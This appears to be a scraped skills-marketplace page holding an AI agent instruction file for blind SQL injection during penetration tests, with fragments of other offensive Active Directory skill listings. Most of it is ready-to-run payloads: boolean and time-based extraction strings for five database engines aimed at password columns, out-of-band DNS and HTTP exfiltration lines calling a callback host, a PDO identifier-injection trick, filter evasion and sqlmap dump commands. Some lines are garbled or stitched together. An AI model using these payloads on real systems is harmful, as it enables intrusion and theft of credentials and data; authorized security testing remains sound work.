You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit blind SQL injection. The target
インストールする前に、エージェントに与えられる指示の中身を確認できます。
You are helping a penetration tester exploit blind SQL injection. The target application does not display query results or error messages, so data must be extracted indirectly — through boolean conditions, time delays, or out-of-band channels. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[sql-injection-blind] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
If not already provided by the orchestrator or conversation context, determine:
Skip if context was already provided.
Inject conditions that produce different responses:
' AND 1=1--+ -- TRUE — page renders normally
' AND 1=2--+ -- FALSE — page changes (missing content, error, redirect)
Compare: response body, Content-Length, status code, specific elements.
Inject a sleep function and measure response delay:
' AND SLEEP(5)--+ -- MySQL
'; WAITFOR DELAY '0:0:5'--+ -- MSSQL
' AND 1=(SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE pg_sleep(0) END)--+ -- PostgreSQL
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--+ -- Oracle
' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(100000000/2))))--+ -- SQLite
Pattern: ask "is the Nth character of [data] equal to X?" via binary search.
-- Check length first
' AND LENGTH(user())=N--+
-- Binary search character extraction
' AND ASCII(SUBSTRING(user(),1,1))>78--+ -- Is char > 'N'?
' AND ASCII(SUBSTRING(user(),1,1))>90--+ -- Is char > 'Z'?
' AND ASCII(SUBSTRING(user(),1,1))=114--+ -- Is char 'r'?
-- Extract database name
' AND ASCII(SUBSTRING(database(),1,1))>78--+
-- Count tables
' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=N--+
-- Extract table name char by char
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>78--+
-- Extract column name
' AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='TARGET_TABLE' LIMIT 0,1),1,1))>78--+
-- Extract data
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))>78--+
Alternatives when ASCII/SUBSTRING are blocked:
' AND (SELECT user()) LIKE 'r%'--+ -- LIKE
' AND (SELECT user()) REGEXP '^r'--+ -- REGEXP
' AND MID(user(),1,1)='r'--+ -- MID (alias for SUBSTRING)
' AND ASCII(SUBSTRING(SYSTEM_USER,1,1))>78--+
' AND ASCII(SUBSTRING(DB_NAME(),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 0 name FROM master..sysdatabases)),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))>78--+
' AND ASCII(SUBSTRING(current_user,1,1))>78--+
' AND ASCII(SUBSTRING(current_database(),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT tablename FROM pg_tables WHERE schemaname='public' LIMIT 1),1,1))>78--+
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>78--+
-- Oracle uses SUBSTR instead of SUBSTRING
' AND ASCII(SUBSTR((SELECT user FROM dual),1,1))>78--+
' AND ASCII(SUBSTR((SELECT table_name FROM user_tables WHERE ROWNUM=1),1,1))>78--+
' AND ASCII(SUBSTR((SELECT password FROM users WHERE ROWNUM=1),1,1))>78--+
' AND UNICODE(SUBSTR(sqlite_version(),1,1))>50--+
' AND UNICODE(SUBSTR((SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT 1),1,1))>78--+
' AND UNICODE(SUBSTR((SELECT password FROM users LIMIT 1),1,1))>78--+
Same character-by-character approach, using response delay instead of content differences.
' AND IF(ASCII(SUBSTRING(user(),1,1))>78,SLEEP(2),0)--+
' AND IF(ASCII(SUBSTRING(database(),1,1))>78,SLEEP(2),0)--+
' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))>78,SLEEP(2),0)--+
' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))>78,SLEEP(2),0)--+
BENCHMARK alternative:
' AND IF(ASCII(SUBSTRING(user(),1,1))>78,BENCHMARK(10000000,SHA1('test')),0)--+
'; IF(ASCII(SUBSTRING(DB_NAME(),1,1))>78) WAITFOR DELAY '0:0:2'--+
'; IF (SELECT ASCII(SUBSTRING(SYSTEM_USER,1,1)))>78 WAITFOR DELAY '0:0:2'--+
' AND 1=(SELECT CASE WHEN ASCII(SUBSTRING(current_user,1,1))>78 THEN pg_sleep(2) ELSE pg_sleep(0) END)--+
' AND 1=(SELECT CASE WHEN ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>78 THEN pg_sleep(2) ELSE pg_sleep(0) END)--+
' AND 1=(SELECT CASE WHEN ASCII(SUBSTR(user,1,1))>78 THEN DBMS_PIPE.RECEIVE_MESSAGE('a',2) ELSE 0 END FROM dual)--+
When neither boolean nor time-based is reliable, exfiltrate via DNS or HTTP callbacks. Requires external infrastructure (Burp Collaborator, interactsh, or custom DNS).
' AND LOAD_FILE(CONCAT('\\\\',user(),'.COLLABORATOR.oastify.com\\share'))--+
'; EXEC master..xp_dirtree '\\'+SYSTEM_USER+'.COLLABORATOR.oastify.com\share'--+
'; COPY (SELECT current_user) TO PROGRAM 'nslookup '||current_user||'.COLLABORATOR.oastify.com'--+
' AND 1=UTL_HTTP.REQUEST('http://'||(SELECT user FROM dual)||'.COLLABORATOR.oastify.com/')--+
When the injection point is in an identifier position (column name, table name, ORDER BY target) and the application uses PHP PDO with emulated prepares (the default), standard blind SQLi techniques may not apply. PDO's query parser does not understand backtick-quoted identifiers, creating exploitable mismatches between what PDO considers a placeholder and what MySQL executes.
Signs that you're dealing with identifier-position injection:
`user_input`' OR 1=1-- payloads have no effect (not in a string context)prepare() with variable interpolation in identifier
positions (not in WHERE value positions)PDO's emulated prepare mode (default when ATTR_EMULATE_PREPARES is not
explicitly set to false) performs client-side placeholder substitution. The
parser scans the query string for ? markers, but does not understand
MySQL's backtick quoting context. This means:
SELECT `?` FROM t WHERE id = ? — PDO sees TWO placeholders? is an identifier literal)When user input controls an identifier that gets backtick-wrapped, and a
subsequent bound parameter (e.g., user_id) contains user-controlled data:
? inside the identifier — use \? or other forms that
survive input sanitization but produce a literal ? after backtick stripping-- after the identifier
silences the real ? in the WHERE clauseuser_id parameter), it
becomes a SQL injection point in the SELECT column listOnce a value is shifted into the column position of a SELECT query:
(SELECT password FROM users LIMIT 1) returns data as
the column valueSLEEP() works for time-based confirmationPDO::MYSQL_ATTR_MULTI_STATEMENTS
or the driver allows it)If you suspect this class of vulnerability, report to the orchestrator:
This is a niche technique — if standard blind SQLi fails on a PHP/PDO target
with identifier-position input, escalate to unknown-vector-analysis with
these details for deep analysis.
After extracting credentials or key data:
STOP and return to the orchestrator with:
SLEEP, WAITFOR, pg_sleep, BENCHMARK, ASCII, SUBSTRING patternsSLEEP(5) instead of SLEEP(2)-- MySQL: heavy query instead of SLEEP
' AND IF(1=1,(SELECT COUNT(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C),0)--+
-- MSSQL: stacked WAITFOR
' AND 1=1 WAITFOR DELAY '0:0:5'--+
MID(str,pos,len) -- MySQL (alias for SUBSTRING)
SUBSTR(str,pos,len) -- All DBs
RIGHT(LEFT(str,pos),1) -- Most DBs
# Boolean-based only
sqlmap -u "https://TARGET/page?id=1" --batch --technique=B --dbs
# Time-based only
sqlmap -u "https://TARGET/page?id=1" --batch --technique=T --dbs
# Both blind techniques
sqlmap -u "https://TARGET/page?id=1" --batch --technique=BT --dbs
# Increase time-based delay for unreliable networks
sqlmap -u "https://TARGET/page?id=1" --batch --technique=T --time-sec=5 --dbs
# Increase threads for faster boolean extraction
sqlmap -u "https://TARGET/page?id=1" --batch --technique=B --threads=8 --dbs
# From Burp request file
sqlmap -r request.txt --batch --technique=BT -p "id" --dbs
# Dump data
sqlmap -r request.txt --batch --technique=BT -D TARGET_DB -T TARGET_TABLE --dump
まだレビューはありません。使ってみた感想をお寄せください。
概要と使いどころ
You are helping a penetration tester exploit misconfigured Active Directory
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester enumerate an Active Directory domain and
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistent access in Active
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit ADCS through template/CA access
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester establish persistence through AD CS
日本語の概要は準備中です。原文の説明を表示しています。
You are helping a penetration tester exploit misconfigured AD CS certificate
日本語の概要は準備中です。原文の説明を表示しています。